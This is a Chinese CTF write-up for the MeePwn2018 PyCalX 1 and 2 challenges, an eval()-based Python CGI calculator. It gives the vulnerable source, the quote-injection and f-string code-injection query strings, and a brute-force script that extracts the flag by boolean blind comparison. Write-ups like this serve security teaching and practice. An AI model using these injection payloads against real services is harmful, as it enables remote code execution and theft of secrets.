MeePwn2018-PyCalX 1&2 wp

看题目之前先了解一下CGI(通用网关接口),它是一段运行在服务器上的程序,提供客户端页面的接口;CGI程序可以是Python脚本、SHELL脚本、C等

python CGI实现POST功能例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
# -*- coding: UTF-8 -*-

# CGI处理模块
import cgi

# 创建 FieldStorage 的实例化
form = cgi.FieldStorage()

# 获取数据
site_name = form.getvalue('name')
site_pass = form.getvalue('pass')

print "Content-type:text/html"
print
print "<html>"
print "<head>"
print "<meta charset=\"utf-8\">"
print "<title>result</title>"
print "</head>"
print "<body>"
print "<h2>用户名:%s 密码: %s </h2>" % (site_name, site_pass)
print "</body>"
print "</html>"

PyCalX 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3
import cgi;
import sys
from html import escape

FLAG = open('/var/www/flag','r').read()

OK_200 = """Content-type: text/html

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<center>
<title>PyCalx</title>
<h1>PyCalx</h1>
<form>
<input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1 abc)' autofocus/>
<input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' />
<input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1 abc)' />
<input class="form-control col-md-4 btn btn-success" type=submit value=EVAL />
</form>
<a href='?source=1'>Source</a>
</center>
"""

print(OK_200)
arguments = cgi.FieldStorage()

if 'source' in arguments:
source = arguments['source'].value
else:
source = 0

if source == '1':
print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')

if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:

def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('<center>Invalid value</center>')
sys.exit(0)
return val

def get_op(val):
val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val[0] not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val

op = get_op(arguments['op'].value)
value1 = get_value(arguments['value1'].value)
value2 = get_value(arguments['value2'].value)

if str(value1).isdigit() ^ str(value2).isdigit():
print('<center>Types of the values don\'t match</center>')
sys.exit(0)

calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
print('>>>> print('+escape(calc_eval)+')')

try:
result = str(eval(calc_eval))
if result.isdigit() or result == 'True' or result == 'False':
print(result)
else:
print("Invalid") # Sorry we don't support output as a string due to security issue.
except:
print("Invalid")


print('>>> </pre></div></div></div>')

1.题目存在三个输入点:两个数据和一个操作符;数据被黑名单所限制:

blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.

操作符只取前两位,并且会限制第一位:

val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val[0] not in list_ops:
    print('<center>Invalid op</center>')
    sys.exit(0)

2.之后将三者进行拼接:

calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

repr函数将对象转换为供解释器读取的形式:

>>> repr(1)
'1'
>>> repr('1')
"'1'"

3.输出的结果要么是数字类型,要么是boolen类型:

result = str(eval(calc_eval))
if result.isdigit() or result == 'True' or result == 'False':
    print(result)
else:
    print("Invalid") # Sorry we don't support output as a string 

由于操作符只检查第一位,那么可以控制第二位为',来尝试单引号闭合:

由于不能输出字符串,那么可以进行用类似布尔盲注的方法来爆出flag,Python相关的布尔运算:

1
2
3
4
5
6
7
8
9
10
11
12
>>> 'a' and True
True
>>> 'a' and False
False
>>> True and False
False
>>> 'a' or False
'a'
>>> True or False
True
>>> False or True
True

由于数据不能有',那么不能使用字符串比较的方式了,但是发现源码中存在以下语句:

if 'source' in arguments:
    source = arguments['source'].value
else:
    source = 0

那么我们可以控制参数source,并且可以使用该变量,来实现字符的替换猜解:

?source=g&value1=a&op=+'&value2= and FLAG>source#

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

flag = ''
while 1:
print('+')
for i in range(33,128):
url = 'http://38f1d8a1-5f46-4bb6-86df-65458e7a811e.node2.buuoj.cn.wetolink.com:82/cgi-bin/pycalx.py?source={}&value1=a&op=%2B%27&value2=+and+FLAG%3Esource%23'.format(flag+chr(i))
res = requests.get(url).text
if 'False' in res:
if 'OK_200' not in res:
flag += chr(i-1)
print(flag)
break

PyCalX 2

上一题可以在运算符中使用'来达到闭合字符串的目的,这一题修复了这个问题,多了一步检测:

op = get_op(get_value(arguments['op'].value))

若要绕过此过滤,这里用到了python3.6的一个特性:f-string,可参考官方描述:

https://docs.python.org/3.6/whatsnew/3.6.html#new-features

简单来说,就是在python3.6中,将字符串用{}引起来,加上引号,并且前面加个f就可以把{}中的字符串当做代码执行,例如:

f"{__import__('time').sleep(3)}"

那么将操作符第二位改为f,第二个数据改成判断语句即可:

?source=f&value1=True&op=+f&value2={source*0 if FLAG>source else 2333}

或其他写法:

?source=f&value1=Tru&op=+f&value2={FLAG>source or 14:x}

其中f"{14:x}"意思就是将14转化为16进制,并省掉0x,即e